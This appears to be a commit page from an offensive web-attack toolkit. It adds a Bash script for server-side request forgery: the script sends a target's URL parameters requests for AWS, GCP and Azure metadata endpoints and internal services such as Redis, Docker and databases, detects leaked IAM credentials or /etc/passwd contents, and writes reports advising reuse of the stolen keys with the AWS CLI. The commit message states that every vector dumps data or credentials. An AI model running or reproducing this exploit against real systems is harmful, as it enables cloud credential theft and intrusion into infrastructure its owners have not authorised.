The Analyzer v2.0 — 30 attack vectors, 9 new exploiters
New vectors added: - 22: SSRF Proof — cloud metadata exfiltration (CRITICAL) - 23: Prototype Pollution — Node.js client/server (HIGH) - 24: WebSocket Hijack — WS origin bypass + injection (HIGH) - 25: Mass Assignment — protected field modification (HIGH) - 26: HTTP Parameter Pollution — WAF bypass (HIGH) - 27: Insecure Deserialization — PHP/Java/Node (CRITICAL) - 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL) - 29: Web Cache Poisoning — unkeyed header injection (HIGH) - 30: CRLF Injection — HTTP response splitting (CRITICAL) All vectors PROVE exploitation by dumping data/credentials, not just detecting config issues.
This commit is contained in:
145
vectors/22-ssrf-proof.sh
Normal file
145
vectors/22-ssrf-proof.sh
Normal file
@@ -0,0 +1,145 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 22: SSRF PROOF — Confirms SSRF by fetching internal/cloud metadata
|
||||
# Desc: Probes URL params with internal address payloads, confirms by reading
|
||||
# cloud metadata endpoints (AWS/GCP/Azure) or internal services
|
||||
# Severity: CRITICAL
|
||||
# Proof: Fetches http://169.254.169.254/latest/meta-data/ (AWS) etc.
|
||||
|
||||
vector_ssrf_proof() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local base=$(get_base "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Hunting CONFIRMED SSRF — will attempt cloud metadata read..."
|
||||
|
||||
# URL parameters commonly vulnerable to SSRF
|
||||
local ssrf_params=(
|
||||
"url" "uri" "link" "src" "source" "target" "endpoint"
|
||||
"path" "file" "load" "read" "page" "dest" "redirect"
|
||||
"image" "img" "css" "asset" "proxy" "webhook" "callback"
|
||||
"return" "returnTo" "return_url" "goto" "next" "prev"
|
||||
"icon" "avatar" "cover" "preview" "thumbnail" "upload_url"
|
||||
"download" "fetch" "get" "post" "api_url" "rpc"
|
||||
)
|
||||
|
||||
# Internal targets that prove SSRF
|
||||
local internal_targets=(
|
||||
# AWS metadata (most common)
|
||||
"http://169.254.169.254/latest/meta-data/"
|
||||
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
||||
"http://169.254.169.254/latest/user-data/"
|
||||
# GCP metadata
|
||||
"http://metadata.google.internal/computeMetadata/v1/"
|
||||
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
|
||||
# Azure metadata
|
||||
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
||||
# Internal services
|
||||
"http://localhost/"
|
||||
"http://localhost:8080/"
|
||||
"http://localhost:3000/"
|
||||
"http://127.0.0.1:22/"
|
||||
"http://127.0.0.1:6379/" # Redis
|
||||
"http://127.0.0.1:9200/" # Elasticsearch
|
||||
"http://0.0.0.0/"
|
||||
"http://[::]:80/"
|
||||
# Kubernetes
|
||||
"http://kubernetes.default.svc/"
|
||||
"http://10.0.0.1/"
|
||||
"http://10.100.0.1/"
|
||||
"http://10.254.0.1/"
|
||||
# Docker
|
||||
"http://localhost:2375/"
|
||||
# Database
|
||||
"http://127.0.0.1:3306/"
|
||||
"http://127.0.0.1:5432/"
|
||||
"http://127.0.0.1:27017/"
|
||||
)
|
||||
|
||||
# HTTP header target (when param injection isn't available)
|
||||
local headers_ssrf=(
|
||||
"Host"
|
||||
"X-Forwarded-For"
|
||||
"X-Forwarded-Host"
|
||||
"X-Real-IP"
|
||||
"X-Original-URL"
|
||||
"X-Rewrite-URL"
|
||||
"Forwarded"
|
||||
"X-Originating-IP"
|
||||
"X-Remote-IP"
|
||||
"X-Client-IP"
|
||||
)
|
||||
|
||||
# AWS credential patterns to look for in response
|
||||
local AWS_CRED_PATTERN='"AccessKeyId"\|"SecretAccessKey"\|"Token"'
|
||||
local METADATA_PATTERN='ami-id\|instance-id\|public-keys\|security-credentials'
|
||||
local CLOUD_PROOF='root:x:0:0:\|{"access_key":\|"instanceId"\|kubernetes'
|
||||
|
||||
local tested=0
|
||||
|
||||
# Get URL params from discovery
|
||||
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
||||
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null)
|
||||
|
||||
# If no params found, try common SSRF parameters
|
||||
if [ -z "$param_names" ]; then
|
||||
print_sub "No params found. Probing common SSRF parameters..."
|
||||
for param in "${ssrf_params[@]}"; do
|
||||
for internal in "${internal_targets[@]}"; do
|
||||
tested=$((tested + 1))
|
||||
|
||||
# URL-encode the internal target
|
||||
local encoded=$(printf '%s' "$internal" | jq -sRr @uri 2>/dev/null || echo "$internal")
|
||||
local test_url="${target}?${param}=${encoded}"
|
||||
|
||||
local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "$AWS_CRED_PATTERN\|$METADATA_PATTERN\|$CLOUD_PROOF"; then
|
||||
if echo "$response" | grep -qi "$AWS_CRED_PATTERN"; then
|
||||
print_find "CONFIRMED SSRF — AWS Credentials Exfiltrated!" "$param=$internal"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SSRF Proof — AWS Cloud Metadata
|
||||
DETAIL: Fetched AWS IAM credentials via $param
|
||||
URL: $test_url
|
||||
ENDPOINT: $internal
|
||||
CREDENTIALS EXTRACTED: YES
|
||||
EXPLOIT: Use AWS CLI with:
|
||||
AWS_ACCESS_KEY_ID=<from response>
|
||||
AWS_SECRET_ACCESS_KEY=<from response>
|
||||
AWS_SESSION_TOKEN=<from response>" > "$REPORTS_DIR/.finding_ssrf_aws_$(date +%s).txt"
|
||||
elif echo "$response" | grep -qi "root:x:0:0:\|bin:\|daemon:"; then
|
||||
print_find "CONFIRMED SSRF — Internal File Read!" "$param=$internal"
|
||||
local snippet=$(echo "$response" | head -5 | tr '\n' '|' | cut -c1-100)
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SSRF Proof — Internal File Read
|
||||
DETAIL: Read internal file via SSRF
|
||||
URL: $test_url
|
||||
ENDPOINT: $internal
|
||||
SNIPPET: $snippet" > "$REPORTS_DIR/.finding_ssrf_file_$(date +%s).txt"
|
||||
else
|
||||
print_find "CONFIRMED SSRF — Internal Service Reached" "$param=$internal"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: SSRF Proof — Internal Service
|
||||
DETAIL: Reached internal service via $param
|
||||
URL: $test_url
|
||||
ENDPOINT: $internal
|
||||
RESPONSE: $(echo "$response" | head -3 | tr '\n' ' ' | cut -c1-200)" > "$REPORTS_DIR/.finding_ssrf_int_$(date +%s).txt"
|
||||
fi
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
|
||||
# Check for timing-based blind SSRF (if response takes >3s different from baseline)
|
||||
# TODO: Blind SSRF via timing/OOB detection
|
||||
done
|
||||
done
|
||||
fi
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_info "No confirmed SSRF on $target"
|
||||
fi
|
||||
|
||||
print_sub "Tested $tested payload combinations"
|
||||
return $findings
|
||||
}
|
||||
Reference in New Issue
Block a user